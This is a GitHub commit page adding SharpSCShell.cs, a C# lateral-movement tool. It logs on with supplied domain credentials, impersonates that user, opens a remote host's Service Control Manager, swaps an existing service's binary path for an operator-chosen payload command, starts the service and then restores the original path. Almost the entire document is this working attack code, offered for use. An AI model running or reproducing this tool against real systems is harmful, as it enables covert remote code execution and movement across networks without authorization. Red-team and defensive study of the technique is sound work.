Skip to content

Commit 20819b4

Browse files
RcoIlRcoIl
RcoIl
authored and
RcoIl
committed
SharpSCShell
1 parent 224f5a7 commit 20819b4

File tree

2 files changed

+256
-0
lines changed

2 files changed

+256
-0
lines changed

.DS_Store

6 KB
Binary file not shown.

SharpSCShell.cs

+256
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,256 @@
1+
using System;
2+
using System.Collections.Generic;
3+
using System.Linq;
4+
using System.Runtime.InteropServices;
5+
using System.Text;
6+
7+
namespace SharpSCShell
8+
{
9+
class Program
10+
{
11+
[DllImport("advapi32.dll", SetLastError = true, BestFitMapping = false, ThrowOnUnmappableChar = true)]
12+
[return: MarshalAs(UnmanagedType.Bool)]
13+
internal static extern bool LogonUser(
14+
[MarshalAs(UnmanagedType.LPStr)] string lpszUsername,
15+
[MarshalAs(UnmanagedType.LPStr)] string lpszDomain,
16+
[MarshalAs(UnmanagedType.LPStr)] string lpszPassword,
17+
int dwLogonType,
18+
int dwLogonProvider,
19+
ref IntPtr phToken);
20+
21+
[DllImport("advapi32.dll", SetLastError = true)]
22+
static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
23+
24+
25+
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
26+
public static extern IntPtr OpenSCManager(
27+
string lpMachineName,
28+
string lpDatabaseName,
29+
uint dwDesiredAccess);
30+
31+
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
32+
static extern IntPtr OpenService(
33+
IntPtr hSCManager,
34+
string lpServiceName,
35+
uint dwDesiredAccess);
36+
37+
[DllImport("advapi32.dll",
38+
SetLastError = true, CharSet = CharSet.Auto)]
39+
private static extern int QueryServiceConfig(
40+
IntPtr service,
41+
IntPtr queryServiceConfig,
42+
int bufferSize,
43+
ref int bytesNeeded);
44+
45+
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
46+
[return: MarshalAs(UnmanagedType.Bool)]
47+
public static extern bool ChangeServiceConfigA(
48+
IntPtr hService,
49+
uint dwServiceType,
50+
int dwStartType,
51+
int dwErrorControl,
52+
string lpBinaryPathName,
53+
string lpLoadOrderGroup,
54+
string lpdwTagId,
55+
string lpDependencies,
56+
string lpServiceStartName,
57+
string lpPassword,
58+
string lpDisplayName);
59+
60+
[DllImport("advapi32", SetLastError = true)]
61+
[return: MarshalAs(UnmanagedType.Bool)]
62+
public static extern bool StartService(
63+
IntPtr hService,
64+
int dwNumServiceArgs,
65+
string[] lpServiceArgVectors
66+
);
67+
public enum ACCESS_MASK : uint
68+
{
69+
STANDARD_RIGHTS_REQUIRED = 0x000F0000,
70+
STANDARD_RIGHTS_READ = 0x00020000,
71+
STANDARD_RIGHTS_WRITE = 0x00020000,
72+
STANDARD_RIGHTS_EXECUTE = 0x00020000,
73+
}
74+
public enum SCM_ACCESS : uint
75+
{
76+
SC_MANAGER_CONNECT = 0x00001,
77+
SC_MANAGER_CREATE_SERVICE = 0x00002,
78+
SC_MANAGER_ENUMERATE_SERVICE = 0x00004,
79+
SC_MANAGER_LOCK = 0x00008,
80+
SC_MANAGER_QUERY_LOCK_STATUS = 0x00010,
81+
SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00020,
82+
SC_MANAGER_ALL_ACCESS = ACCESS_MASK.STANDARD_RIGHTS_REQUIRED |
83+
SC_MANAGER_CONNECT |
84+
SC_MANAGER_CREATE_SERVICE |
85+
SC_MANAGER_ENUMERATE_SERVICE |
86+
SC_MANAGER_LOCK |
87+
SC_MANAGER_QUERY_LOCK_STATUS |
88+
SC_MANAGER_MODIFY_BOOT_CONFIG,
89+
90+
GENERIC_READ = ACCESS_MASK.STANDARD_RIGHTS_READ |
91+
SC_MANAGER_ENUMERATE_SERVICE |
92+
SC_MANAGER_QUERY_LOCK_STATUS,
93+
94+
GENERIC_WRITE = ACCESS_MASK.STANDARD_RIGHTS_WRITE |
95+
SC_MANAGER_CREATE_SERVICE |
96+
SC_MANAGER_MODIFY_BOOT_CONFIG,
97+
98+
GENERIC_EXECUTE = ACCESS_MASK.STANDARD_RIGHTS_EXECUTE |
99+
SC_MANAGER_CONNECT | SC_MANAGER_LOCK,
100+
101+
GENERIC_ALL = SC_MANAGER_ALL_ACCESS,
102+
}
103+
public enum SERVICE_ACCESS : uint
104+
{
105+
STANDARD_RIGHTS_REQUIRED = 0xF0000,
106+
SERVICE_QUERY_CONFIG = 0x00001,
107+
SERVICE_CHANGE_CONFIG = 0x00002,
108+
SERVICE_QUERY_STATUS = 0x00004,
109+
SERVICE_ENUMERATE_DEPENDENTS = 0x00008,
110+
SERVICE_START = 0x00010,
111+
SERVICE_STOP = 0x00020,
112+
SERVICE_PAUSE_CONTINUE = 0x00040,
113+
SERVICE_INTERROGATE = 0x00080,
114+
SERVICE_USER_DEFINED_CONTROL = 0x00100,
115+
SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED |
116+
SERVICE_QUERY_CONFIG |
117+
SERVICE_CHANGE_CONFIG |
118+
SERVICE_QUERY_STATUS |
119+
SERVICE_ENUMERATE_DEPENDENTS |
120+
SERVICE_START |
121+
SERVICE_STOP |
122+
SERVICE_PAUSE_CONTINUE |
123+
SERVICE_INTERROGATE |
124+
SERVICE_USER_DEFINED_CONTROL)
125+
}
126+
private struct QueryServiceConfigStruct
127+
{
128+
public int serviceType;
129+
public int startType;
130+
public int errorControl;
131+
public IntPtr binaryPathName;
132+
public IntPtr loadOrderGroup;
133+
public int tagID;
134+
public IntPtr dependencies;
135+
public IntPtr startName;
136+
public IntPtr displayName;
137+
}
138+
139+
140+
[DllImport("kernel32.dll")]
141+
public static extern uint GetLastError();
142+
143+
[DllImport("kernel32.dll")]
144+
static extern IntPtr GlobalAlloc(uint uFlags, UIntPtr dwBytes);
145+
146+
static void Main(string[] args)
147+
{
148+
Console.WriteLine();
149+
Console.WriteLine("=============== SharpSCShell --> Revised at Rcoil (C# version) =============== ");
150+
Console.WriteLine();
151+
if (args.Length < 2)
152+
{
153+
Console.WriteLine("SharpSCShell.exe target service payload domain username password");
154+
Environment.Exit(0);
155+
}
156+
157+
string target = args[0];
158+
string ServiceName = args[1];
159+
string payload = args[2];
160+
string domain = args[3];
161+
string username = args[4];
162+
string password = args[5];
163+
const int LOGON32_LOGON_NEW_CREDENTIALS = 9;
164+
const int LOGON32_PROVIDER_DEFAULT = 0;
165+
const uint SERVICE_NO_CHANGE = 0xffffffff;
166+
const int SERVICE_DEMAND_START = 0x00000003;
167+
const int SERVICE_ERROR_IGNORE = 0x00000000;
168+
IntPtr phToken = IntPtr.Zero;
169+
int bytesNeeded = 5;
170+
171+
Console.WriteLine("[*] Trying to connect to {0}", target);
172+
bool bResult = false;
173+
if (username != null)
174+
{
175+
Console.WriteLine("[*] Username was provided attempting to call LogonUser");
176+
bResult = LogonUser(username, domain, password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, ref phToken);
177+
if (!bResult)
178+
{
179+
Console.WriteLine("[!] LogonUser failed. Error:{0}", GetLastError());
180+
Environment.Exit(0);
181+
}
182+
}
183+
bResult = ImpersonateLoggedOnUser(phToken);
184+
if (!bResult)
185+
{
186+
Console.WriteLine("[!] ImpersonateLoggedOnUser failed. Error:{0}", GetLastError());
187+
Environment.Exit(0);
188+
}
189+
190+
IntPtr SCMHandle = OpenSCManager(target, null, (uint)SCM_ACCESS.SC_MANAGER_ALL_ACCESS);
191+
if (SCMHandle == IntPtr.Zero)
192+
{
193+
Console.WriteLine("[!] OpenSCManagerA failed! Error:{0}", GetLastError());
194+
Environment.Exit(0);
195+
}
196+
Console.WriteLine("[*] SC_HANDLE Manager 0x{0}", SCMHandle);
197+
198+
Console.WriteLine("[*] Opening {0} Service ....", ServiceName);
199+
IntPtr schService = OpenService(SCMHandle, ServiceName, ((uint)SERVICE_ACCESS.SERVICE_ALL_ACCESS));
200+
Console.WriteLine("[*] SC_HANDLE Service 0x{0}", schService);
201+
202+
203+
QueryServiceConfigStruct qscs = new QueryServiceConfigStruct();
204+
IntPtr qscPtr = Marshal.AllocCoTaskMem(0);
205+
int retCode = QueryServiceConfig(schService, qscPtr, 0, ref bytesNeeded);
206+
if (retCode == 0 && bytesNeeded == 0)
207+
{
208+
Console.WriteLine("[!] QueryServiceConfig failed to read the service path. Error:{0}", GetLastError());
209+
}
210+
else
211+
{
212+
Console.WriteLine("[*] LPQUERY_SERVICE_CONFIGA need {0} bytes", bytesNeeded);
213+
qscPtr = Marshal.AllocCoTaskMem(bytesNeeded);
214+
retCode = QueryServiceConfig(schService, qscPtr, bytesNeeded, ref bytesNeeded);
215+
qscs.binaryPathName = IntPtr.Zero;
216+
217+
qscs = (QueryServiceConfigStruct)Marshal.PtrToStructure(qscPtr, new QueryServiceConfigStruct().GetType());
218+
}
219+
220+
string originalBinaryPath = Marshal.PtrToStringAuto(qscs.binaryPathName);
221+
Console.WriteLine("[*] Original service binary path \"{0}\"", originalBinaryPath);
222+
Marshal.FreeCoTaskMem(qscPtr);
223+
224+
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, null, null, null, null, null, null);
225+
if (!bResult)
226+
{
227+
Console.WriteLine("[!] ChangeServiceConfigA failed to update the service path. Error:{0}", GetLastError());
228+
Environment.Exit(0);
229+
}
230+
Console.WriteLine("[*] Service path was changed to \"{0}\"", payload);
231+
232+
233+
bResult = StartService(schService, 0, null);
234+
uint dwResult = GetLastError();
235+
if (!bResult && dwResult != 1053)
236+
{
237+
Console.WriteLine("[!] StartServiceA failed to start the service. Error:{0}", GetLastError());
238+
Environment.Exit(0);
239+
}
240+
else
241+
{
242+
Console.WriteLine("[*] Service was started");
243+
}
244+
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, originalBinaryPath, null, null, null, null, null, null);
245+
if (!bResult)
246+
{
247+
Console.WriteLine("[!] ChangeServiceConfigA failed to revert the service path. Error:{0}", GetLastError());
248+
Environment.Exit(0);
249+
}
250+
else
251+
{
252+
Console.WriteLine("[*] Service path was restored to \"{0}\"", originalBinaryPath);
253+
}
254+
}
255+
}
256+
}

0 commit comments

Comments
 (0)